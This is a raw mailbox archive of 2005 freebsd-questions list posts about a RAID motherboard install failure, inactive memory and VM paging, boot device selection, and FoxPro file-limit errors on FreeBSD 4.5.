[127.0.0.1]) by re-injector2.bahnhof.se (Postfix) with ESMTP id 28758AA529; Tue, 8 Feb 2005 22:43:05 +0100 (CET) Received: from smtp4.bahnhof.se ([213.136.33.1]) by localhost (mfilter2.bahnhof.se [10.0.1.22]) (amavisd-new, port 10024) with ESMTP id 23438-02; Tue, 8 Feb 2005 22:43:03 +0100 (CET) Received: from pcmarpxy.mwrwin2k.se (81-170-150-191.bahnhofbredband.net [81.170.150.191]) by smtp4.bahnhof.se (Postfix) with ESMTP id D9929195A0C; Tue, 8 Feb 2005 22:43:02 +0100 (CET) Received: from localhost (localhost.mwrwin2k.se [127.0.0.1]) by pcmarpxy.mwrwin2k.se (Postfix) with ESMTP id 16C0DACBE4; Tue, 8 Feb 2005 22:43:31 +0100 (CET) Received: from pcmarpxy.mwrwin2k.se ([127.0.0.1]) by localhost (pcmarpxy.mwrwin2k.se [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 67260-04; Tue, 8 Feb 2005 22:43:30 +0100 (CET) Received: from localhost.mwrwin2k.se (localhost.mwrwin2k.se [127.0.0.1]) by pcmarpxy.mwrwin2k.se (Postfix) with ESMTP id 0C3C6AC801; Tue, 8 Feb 2005 22:43:30 +0100 (CET) From: Mark Rowlands To: freebsd-questions@freebsd.org Date: Tue, 8 Feb 2005 22:43:27 +0100 User-Agent: KMail/1.7.2 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502082243.28699.mark.rowlands@mypost.se> X-Virus-Scanned: amavisd-new at bahnhof.se X-Spam-Status: No, hits=-0.488 tagged_above=-999 required=9 tests=AWL, BAYES_00, RCVD_IN_NJABL_DUL, RCVD_IN_SORBS_DUL X-Spam-Level: cc: Richard Blanchard Subject: Re: Failed Install Gigabyte motherboard w/RAID X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: mark.rowlands@mypost.se List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 21:43:09 -0000 On Tuesday 08 February 2005 20:45, Richard Blanchard wrote: > Hello, > I have been trying to install FreeBSD on my machine with a new > motherboard with built in hardware RAID and the installation freezes at > system probing. Is there a known way around this problem? The motherboard > is a Gigabyte GA-7N400 Pro2 (Rev 2.0). I have configured two Seagate 160GB > IDE drives for RAID 1, have a PCI video card and PCI modem installed. I > also tried to install the operating system with the RAID turned off and > one hard drive on IDE 0 but the installation also failed. Any suggestions? > > Sincerely, > Richard Blanchard indicating which version of freebsd would be a fine place to start From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 21:44:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AB80316A4CE for ; Tue, 8 Feb 2005 21:44:40 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1191343D3F for ; Tue, 8 Feb 2005 21:44:40 +0000 (GMT) (envelope-from pergesu@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so982751wri for ; Tue, 08 Feb 2005 13:44:39 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=jUACRtv2OKklD6hQn3jbLoUrvgkBaxHF1YYWMGIjfOtjbbyJYZFBsJOhE6pamvvSIEAHDHXvLRN1pfqiOZkMKfrxieGfJnNwdOPeEB2hNaQyK7EMQNqjk6Ms2wnws2Odjv2nzu878TsgNsP6tsQSHaKRGqTssZkJlfS1vW1W3eU= Received: by 10.54.44.64 with SMTP id r64mr282253wrr; Tue, 08 Feb 2005 13:44:39 -0800 (PST) Received: by 10.54.42.28 with HTTP; Tue, 8 Feb 2005 13:44:39 -0800 (PST) Message-ID: <810a540e050208134479b4e774@mail.gmail.com> Date: Tue, 8 Feb 2005 14:44:39 -0700 From: Pat Maddox To: Pat Maddox , freebsd-questions@freebsd.org In-Reply-To: <20050208213612.GA29063@falcon.midgard.homeip.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <810a540e050208133310333144@mail.gmail.com> <20050208213612.GA29063@falcon.midgard.homeip.net> Subject: Re: Inactive memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Pat Maddox List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 21:44:40 -0000 Alright, that lets me know that it's not an entirely bad thing. It does say, however, that it's fine as long as the free memory isn't REALLY low. It did get down to 13MB though, as I said. So now I understand that it's alright for the free memory to be low. I don't understand how the inactive, cache, and buffered memory are used though. When a process uses up all the free memory, does it then use some from inactive, or does it use swap? On Tue, 8 Feb 2005 22:36:12 +0100, Erik Trulsson wrote: > On Tue, Feb 08, 2005 at 02:33:14PM -0700, Pat Maddox wrote: > > I've always got a lot of inactive memory on my machine, around 520MB > > or so. While doing a portupgrade, the free memory dropped to around > > 13MB. I'm just curious what exactly the inactive memory is. Will the > > OS use the inactive memory before dipping into swap? Or is that > > memory off limits now? If so, is there any way to free it up? I've > > got 1GB total on the machine. > > http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/misc.html#TOP-FREEMEM > > -- > > Erik Trulsson > ertr1013@student.uu.se > From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 21:50:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 46C8116A54B for ; Tue, 8 Feb 2005 21:50:47 +0000 (GMT) Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3C27143D1D for ; Tue, 8 Feb 2005 21:50:46 +0000 (GMT) (envelope-from jas@math.jussieu.fr) Received: from riemann.math.jussieu.fr (riemann.math.jussieu.fr [134.157.13.3])j18Loj4G093067 for ; Tue, 8 Feb 2005 22:50:45 +0100 (CET) X-Ids: 168 Received: from galois1.math.jussieu.fr (galois1.math.jussieu.fr [134.157.13.116])j18Loek7088458 for ; Tue, 8 Feb 2005 22:50:40 +0100 (CET) Received: from galois1.math.jussieu.fr (localhost.localdomain [127.0.0.1]) j18LoeW8031792 for ; Tue, 8 Feb 2005 22:50:40 +0100 Received: (from jas@localhost) by galois1.math.jussieu.fr (8.12.8/8.12.8/Submit) id j18Loe0e031791 for freebsd-questions@freebsd.org; Tue, 8 Feb 2005 22:50:40 +0100 Date: Tue, 8 Feb 2005 22:50:40 +0100 From: Albert Shih To: freebsd-questions@freebsd.org Message-ID: <20050208215040.GA30251@math.jussieu.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.6i X-Spam-Score: -2.82 () ALL_TRUSTED X-Scanned-By: MIMEDefang 2.49 on 134.157.13.3 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.7.2 (shiva.jussieu.fr [134.157.0.168]); Tue, 08 Feb 2005 22:50:45 +0100 (CET) X-Miltered: at shiva.jussieu.fr with ID 42093435.000 by Joe's j-chkmail (http://j-chkmail.ensmp.fr)! X-Antivirus: scanned by sophie at shiva.jussieu.fr Subject: Boot problem with SATA X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: shih@math.jussieu.fr List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 21:50:49 -0000 Hi all I've problem with booting my PC. The hardward is (something like) AMD FX 55 Two SATA disk with Nvidia NForce 3 for raid One disk IDE. The Two SATA disk is for WinXP I want install some real OS in the IDE disk, but the problem is I don't know how I can choose boot device. When I proceed normaly (like the 100 times I've to do) I boot on IDE disk (via the BIOS) I've F1..F5 and when I press F1 everthing work fine I boot my FreeBSD, but when I press F5....i boot my FreeBSD too. Anyone have some solution ? Regards. -- Albert SHIH Universite de Paris 7 (Denis DIDEROT) U.F.R. de Mathematiques. Heure local/Local time: Tue Feb 8 22:45:31 CET 2005 From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 22:13:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 831BB16A4CE for ; Tue, 8 Feb 2005 22:13:23 +0000 (GMT) Received: from pi.codefab.com (pi.codefab.com [199.103.21.227]) by mx1.FreeBSD.org (Postfix) with ESMTP id 14ADE43D48 for ; Tue, 8 Feb 2005 22:13:23 +0000 (GMT) (envelope-from cswiger@mac.com) Received: from localhost (localhost [127.0.0.1]) by pi.codefab.com (Postfix) with ESMTP id 5BF925E2D; Tue, 8 Feb 2005 17:13:22 -0500 (EST) Received: from pi.codefab.com ([127.0.0.1]) by localhost (pi.codefab.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30075-06; Tue, 8 Feb 2005 17:13:21 -0500 (EST) Received: from [192.168.1.3] (pool-68-161-50-112.ny325.east.verizon.net [68.161.50.112]) by pi.codefab.com (Postfix) with ESMTP id 1D9055E28; Tue, 8 Feb 2005 17:13:20 -0500 (EST) Message-ID: <4209397F.6010204@mac.com> Date: Tue, 08 Feb 2005 17:13:19 -0500 From: Chuck Swiger Organization: The Courts of Chaos User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Pat Maddox References: <810a540e050208133310333144@mail.gmail.com> <20050208213612.GA29063@falcon.midgard.homeip.net> <810a540e050208134479b4e774@mail.gmail.com> In-Reply-To: <810a540e050208134479b4e774@mail.gmail.com> X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at codefab.com cc: freebsd-questions@freebsd.org Subject: Re: Inactive memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 22:13:23 -0000 Pat Maddox wrote: > Alright, that lets me know that it's not an entirely bad thing. It > does say, however, that it's fine as long as the free memory isn't > REALLY low. It did get down to 13MB though, as I said. Really low means less than 1 MB. That would indicate the VM system is under so much pressure that it can't maintain the minimum amount of free space it wants to have: vm.v_free_min: 378 vm.v_free_target: 1655 vm.v_free_reserved: 143 vm.v_pageout_free_min: 34 vm.v_free_severe: 260 These numbers are likely to be in 4K pages, 260 * 4K = 1040K ~= 1 MB, and will vary slighty depending on available physical RAM, kernel size, and probably the phase of the moon. :-) > So now I understand that it's alright for the free memory to be low. > I don't understand how the inactive, cache, and buffered memory are > used though. When a process uses up all the free memory, does it then > use some from inactive, or does it use swap? A process will start reusing inactive memory, which involves flushing data to disk and/or using swap, depending, but the VM system may well swap out pages from other processes instead (especially ones that have been idle for a long time). [ The VM pager uses LRU or actually NFU page selection algorithms with complex names like "second chance replacement via clock hand sweep, with working set size and global page-fault frequency modelling". :-) This is a complicated topic, and it starts becoming better to look at the code than to try to describe the algorithms in words. ] -- -Chuck From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 22:23:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CA32416A4CE for ; Tue, 8 Feb 2005 22:23:36 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.199]) by mx1.FreeBSD.org (Postfix) with ESMTP id CE4B543D1D for ; Tue, 8 Feb 2005 22:23:34 +0000 (GMT) (envelope-from pergesu@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so989125wri for ; Tue, 08 Feb 2005 14:23:34 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=T4uKsuAYEI90wNzyMYEZN/wi4HVxu8f2IbExSPSjG8kmzRL7LMLFWKUh+H57+OMMKA1XAVffGeOiXsRNJLYRoP+xd27QRcdOIBsC2L07hBX/uXJP8TRtf3Qo8M+MpiW8jqslwiqqcL0ZTTiGOQoANyP8mgUTLQ4VwkO4J7TPQrs= Received: by 10.54.2.55 with SMTP id 55mr41604wrb; Tue, 08 Feb 2005 14:23:34 -0800 (PST) Received: by 10.54.42.28 with HTTP; Tue, 8 Feb 2005 14:23:34 -0800 (PST) Message-ID: <810a540e05020814234873ad02@mail.gmail.com> Date: Tue, 8 Feb 2005 15:23:34 -0700 From: Pat Maddox To: Chuck Swiger In-Reply-To: <4209397F.6010204@mac.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <810a540e050208133310333144@mail.gmail.com> <20050208213612.GA29063@falcon.midgard.homeip.net> <4209397F.6010204@mac.com> cc: freebsd-questions@freebsd.org Subject: Re: Inactive memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Pat Maddox List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 22:23:36 -0000 Well Chuck, that must be a great answer, because I don't understand any of it :) I guess my only concern is that I have plenty of RAM available (1GB total, 520MB inactive usually), and wanted to make sure that it's not just a big memory leak. It's only been running for a couple days, so I was kind of scared that in a week it'd be something like 900 inactive and suddenly everything is coming out of swap. I'd just like to know that my machine is going to use the memory efficiently. Thanks for the response. (I think) it reassured me of what I need to know. On Tue, 08 Feb 2005 17:13:19 -0500, Chuck Swiger wrote: > Pat Maddox wrote: > > Alright, that lets me know that it's not an entirely bad thing. It > > does say, however, that it's fine as long as the free memory isn't > > REALLY low. It did get down to 13MB though, as I said. > > Really low means less than 1 MB. That would indicate the VM system is under > so much pressure that it can't maintain the minimum amount of free space it > wants to have: > > vm.v_free_min: 378 > vm.v_free_target: 1655 > vm.v_free_reserved: 143 > vm.v_pageout_free_min: 34 > vm.v_free_severe: 260 > > These numbers are likely to be in 4K pages, 260 * 4K = 1040K ~= 1 MB, and will > vary slighty depending on available physical RAM, kernel size, and probably > the phase of the moon. :-) > > > So now I understand that it's alright for the free memory to be low. > > I don't understand how the inactive, cache, and buffered memory are > > used though. When a process uses up all the free memory, does it then > > use some from inactive, or does it use swap? > > A process will start reusing inactive memory, which involves flushing data to > disk and/or using swap, depending, but the VM system may well swap out pages > from other processes instead (especially ones that have been idle for a long > time). > > [ The VM pager uses LRU or actually NFU page selection algorithms with complex > names like "second chance replacement via clock hand sweep, with working set > size and global page-fault frequency modelling". :-) This is a complicated > topic, and it starts becoming better to look at the code than to try to > describe the algorithms in words. ] > > -- > -Chuck > > From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 22:24:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BF8FE16A4D6 for ; Tue, 8 Feb 2005 22:24:31 +0000 (GMT) Received: from mail.eaznet.com (stout.eaznet.com [198.182.68.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 63D0843D4C for ; Tue, 8 Feb 2005 22:24:31 +0000 (GMT) (envelope-from dreyes@eaznet.com) Received: from localhost (localhost.eaznet.com [127.0.0.1]) by mail.eaznet.com (Postfix) with ESMTP id 84299106EED for ; Tue, 8 Feb 2005 15:16:13 -0700 (MST) Received: from mail.eaznet.com ([127.0.0.1]) by localhost (stout.eaznet.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14555-10 for ; Tue, 8 Feb 2005 15:16:13 -0700 (MST) Received: from mobiled (green143.eaznet.com [198.182.71.143]) by mail.eaznet.com (Postfix) with ESMTP id 1DC56106EDE for ; Tue, 8 Feb 2005 15:16:13 -0700 (MST) From: "Dante Reyes" To: Date: Tue, 8 Feb 2005 15:25:00 -0700 Organization: GilaTechnologies MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 thread-index: AcUOLQcQqOlNcxRpQw6LS1U3BamFow== Message-Id: <20050208221613.1DC56106EDE@mail.eaznet.com> X-VirusScanned: by AMaViSClamAV at mail.eaznet.com Content-Type: text/plain; charset="windows-1250" Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: help with foxpro and FreeBSD 4.5 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: dreyes@eaznet.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 22:24:31 -0000 As I said, I researched the file handling issue: filesize Eddie Fry EAZNet Internet Services -- No virus found in this outgoing message. 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Version: 7.0.300 / Virus Database: 265.8.6 - Release Date: 2/7/2005 From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 22:25:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0B44616A4CF for ; Tue, 8 Feb 2005 22:25:24 +0000 (GMT) Received: from mail.eaznet.com (mail.eaznet.com [198.182.68.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id A0FDB43D5A for ; Tue, 8 Feb 2005 22:25:23 +0000 (GMT) (envelope-from dreyes@eaznet.com) Received: from localhost (localhost.eaznet.com [127.0.0.1]) by mail.eaznet.com (Postfix) with ESMTP id 18AAD106C79 for ; Tue, 8 Feb 2005 15:17:06 -0700 (MST) Received: from mail.eaznet.com ([127.0.0.1]) by localhost (stout.eaznet.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14653-05 for ; Tue, 8 Feb 2005 15:17:05 -0700 (MST) Received: from mobiled (green143.eaznet.com [198.182.71.143]) by mail.eaznet.com (Postfix) with ESMTP id D5C54106B5E for ; Tue, 8 Feb 2005 15:17:05 -0700 (MST) From: "Dante Reyes" To: Date: Tue, 8 Feb 2005 15:25:53 -0700 Organization: GilaTechnologies MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 thread-index: AcUOLQcQqOlNcxRpQw6LS1U3BamFowAABMJA Message-Id: <20050208221705.D5C54106B5E@mail.eaznet.com> X-VirusScanned: by AMaViSClamAV at mail.eaznet.com Subject: FW: help with foxpro and FreeBSD 4.5 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: dreyes@eaznet.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 22:25:24 -0000 As I said, I researched the file handling issue: filesize=A0=20 Eddie Fry EAZNet Internet Services --=20 No virus found in this outgoing message. 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Version: 7.0.300 / Virus Database: 265.8.6 - Release Date: 2/7/2005 =20 From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 22:26:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 88F1E16A4CE for ; Tue, 8 Feb 2005 22:26:33 +0000 (GMT) Received: from mail.eaznet.com (mail.eaznet.com [198.182.68.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5D90D43D4C for ; Tue, 8 Feb 2005 22:26:33 +0000 (GMT) (envelope-from dreyes@eaznet.com) Received: from localhost (localhost.eaznet.com [127.0.0.1]) by mail.eaznet.com (Postfix) with ESMTP id C9B69106ED0 for ; Tue, 8 Feb 2005 15:18:15 -0700 (MST) Received: from mail.eaznet.com ([127.0.0.1]) by localhost (stout.eaznet.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14705-05 for ; Tue, 8 Feb 2005 15:18:15 -0700 (MST) Received: from mobiled (green143.eaznet.com [198.182.71.143]) by mail.eaznet.com (Postfix) with ESMTP id 8C1F0106EAA for ; Tue, 8 Feb 2005 15:18:15 -0700 (MST) From: "Dante Reyes" To: Date: Tue, 8 Feb 2005 15:27:03 -0700 Organization: GilaTechnologies MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 thread-index: AcUOLVAsR820QVh4QsWe5Ohke5tW6A== Message-Id: <20050208221815.8C1F0106EAA@mail.eaznet.com> X-VirusScanned: by AMaViSClamAV at mail.eaznet.com Subject: foxpro on FreeBSD 4.5 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: dreyes@eaznet.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 22:26:33 -0000 As I said, it does not appear to be a file handling problem, but it does appear to be somewhat common: filesize infinity datasize 524288 maxprocesses 1818 openfiles 3636 subsbsize infinity kern.maxfiles 4040 kern.maxfilesperproc 3636 kern.openfiles 48 I also found references to this problem on various forums, but there are = no solutions posted.=A0 See www.google.com and search for 'freebsd foxpro = "too many files open"' Anyone else ever tried to get this working? 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Version: 7.0.300 / Virus Database: 265.8.6 - Release Date: 2/7/2005 =20 From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 22:28:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E0D4B16A4CE for ; Tue, 8 Feb 2005 22:28:02 +0000 (GMT) Received: from av9-1-sn1.fre.skanova.net (av9-1-sn1.fre.skanova.net [81.228.11.115]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6ACED43D41 for ; Tue, 8 Feb 2005 22:28:01 +0000 (GMT) (envelope-from ertr1013@student.uu.se) Received: by av9-1-sn1.fre.skanova.net (Postfix, from userid 502) id 6BE2F37E52; Tue, 8 Feb 2005 23:28:00 +0100 (CET) Received: from smtp2-2-sn2.hy.skanova.net (smtp2-2-sn2.hy.skanova.net [81.228.8.178]) by av9-1-sn1.fre.skanova.net (Postfix) with ESMTP id 5E5C537E42 for ; Tue, 8 Feb 2005 23:28:00 +0100 (CET) Received: from falcon.midgard.homeip.net (h201n1fls24o1048.bredband.comhem.se [212.181.162.201]) by smtp2-2-sn2.hy.skanova.net (Postfix) with SMTP id 0B1B637E4E for ; Tue, 8 Feb 2005 23:27:59 +0100 (CET) Received: (qmail 37028 invoked by uid 1001); 8 Feb 2005 22:27:59 -0000 Date: Tue, 8 Feb 2005 23:27:59 +0100 From: Erik Trulsson To: Pat Maddox Message-ID: <20050208222759.GA29360@falcon.midgard.homeip.net> Mail-Followup-To: Pat Maddox , freebsd-questions@freebsd.org References: <810a540e050208133310333144@mail.gmail.com> <20050208213612.GA29063@falcon.midgard.homeip.net> <810a540e050208134479b4e774@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <810a540e050208134479b4e774@mail.gmail.com> User-Agent: Mutt/1.5.6i cc: freebsd-questions@freebsd.org Subject: Re: Inactive memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 22:28:03 -0000 On Tue, Feb 08, 2005 at 02:44:39PM -0700, Pat Maddox wrote: > Alright, that lets me know that it's not an entirely bad thing. It > does say, however, that it's fine as long as the free memory isn't > REALLY low. It did get down to 13MB though, as I said. Don't worry. 13MB is not what I would consider as "REALLY low" (ok, with 1GB RAM maybe it is) but anyway, the only thing to worry about is if the system starts to swap very often - that means you need more memory. > > So now I understand that it's alright for the free memory to be low. > I don't understand how the inactive, cache, and buffered memory are > used though. When a process uses up all the free memory, does it then > use some from inactive, or does it use swap? Memory normally moves along the following path: Wired -> Active -> Inactive -> Cached -> Free and then when it gets allocated and used it moves back to Wired. The difference between the categories is mainly that "Inactive" and "Cached" memory still contains data that the system might be able to reuse, while "Free" memory is completely free and unused. In order to use Cached or Inactive memory it might need to be flushed first, with Inactive probably being dirty and Cached probably not. ("Active" memory is almost certainly dirty and is therefore somewhat more expensive to reuse. If you didn't understand the preceding paragraph, don't worry. It is not really important to understand. For most purposes you should just consider all of "Free", "Cached", and "Inactive" to be free memory that is available for allocation. > > > On Tue, 8 Feb 2005 22:36:12 +0100, Erik Trulsson wrote: > > On Tue, Feb 08, 2005 at 02:33:14PM -0700, Pat Maddox wrote: > > > I've always got a lot of inactive memory on my machine, around 520MB > > > or so. While doing a portupgrade, the free memory dropped to around > > > 13MB. I'm just curious what exactly the inactive memory is. Will the > > > OS use the inactive memory before dipping into swap? Or is that > > > memory off limits now? If so, is there any way to free it up? I've > > > got 1GB total on the machine. > > > > http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/misc.html#TOP-FREEMEM -- Erik Trulsson ertr1013@student.uu.se From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 22:39:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1545416A4CE for ; Tue, 8 Feb 2005 22:39:24 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7091943D46 for ; Tue, 8 Feb 2005 22:39:23 +0000 (GMT) (envelope-from pergesu@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so991517wri for ; Tue, 08 Feb 2005 14:39:22 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=Vsx8S8FsNfhBsQTp8hsZfzQO2VwRyzczCus2dWYvFEkwTO7FSSRK5xcatfh7NnKgjGgxTRf73crrUSD9Iu4WPX/NWqTO1jDRtTXjWCWKjO42IPrnEn2itA7HIbZcQYA9OS/Zj8/H0oF9mCR4PRvFuOZ4g098/YRi0evpfPy/Cr8= Received: by 10.54.44.64 with SMTP id r64mr313768wrr; Tue, 08 Feb 2005 14:39:22 -0800 (PST) Received: by 10.54.42.28 with HTTP; Tue, 8 Feb 2005 14:39:22 -0800 (PST) Message-ID: <810a540e050208143921cd416d@mail.gmail.com> Date: Tue, 8 Feb 2005 15:39:22 -0700 From: Pat Maddox To: Pat Maddox , freebsd-questions@freebsd.org In-Reply-To: <20050208222759.GA29360@falcon.midgard.homeip.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <810a540e050208133310333144@mail.gmail.com> <20050208213612.GA29063@falcon.midgard.homeip.net> <810a540e050208134479b4e774@mail.gmail.com> <20050208222759.GA29360@falcon.midgard.homeip.net> Subject: Re: Inactive memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Pat Maddox List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 22:39:24 -0000 Thanks a lot for the explanation. I think I can close top and stop worrying now :) On Tue, 8 Feb 2005 23:27:59 +0100, Erik Trulsson wrote: > On Tue, Feb 08, 2005 at 02:44:39PM -0700, Pat Maddox wrote: > > Alright, that lets me know that it's not an entirely bad thing. It > > does say, however, that it's fine as long as the free memory isn't > > REALLY low. It did get down to 13MB though, as I said. > > Don't worry. 13MB is not what I would consider as "REALLY low" (ok, > with 1GB RAM maybe it is) but anyway, the only thing to worry about is > if the system starts to swap very often - that means you need more memory. > > > > > So now I understand that it's alright for the free memory to be low. > > I don't understand how the inactive, cache, and buffered memory are > > used though. When a process uses up all the free memory, does it then > > use some from inactive, or does it use swap? > > Memory normally moves along the following path: > > Wired -> Active -> Inactive -> Cached -> Free > > and then when it gets allocated and used it moves back to Wired. > > The difference between the categories is mainly that "Inactive" and > "Cached" memory still contains data that the system might be able to > reuse, while "Free" memory is completely free and unused. > In order to use Cached or Inactive memory it might need to be flushed > first, with Inactive probably being dirty and Cached probably not. > ("Active" memory is almost certainly dirty and is therefore somewhat > more expensive to reuse. > > If you didn't understand the preceding paragraph, don't worry. It is > not really important to understand. > > For most purposes you should just consider all of "Free", "Cached", and > "Inactive" to be free memory that is available for allocation. > > > > > > > > On Tue, 8 Feb 2005 22:36:12 +0100, Erik Trulsson wrote: > > > On Tue, Feb 08, 2005 at 02:33:14PM -0700, Pat Maddox wrote: > > > > I've always got a lot of inactive memory on my machine, around 520MB > > > > or so. While doing a portupgrade, the free memory dropped to around > > > > 13MB. I'm just curious what exactly the inactive memory is. Will the > > > > OS 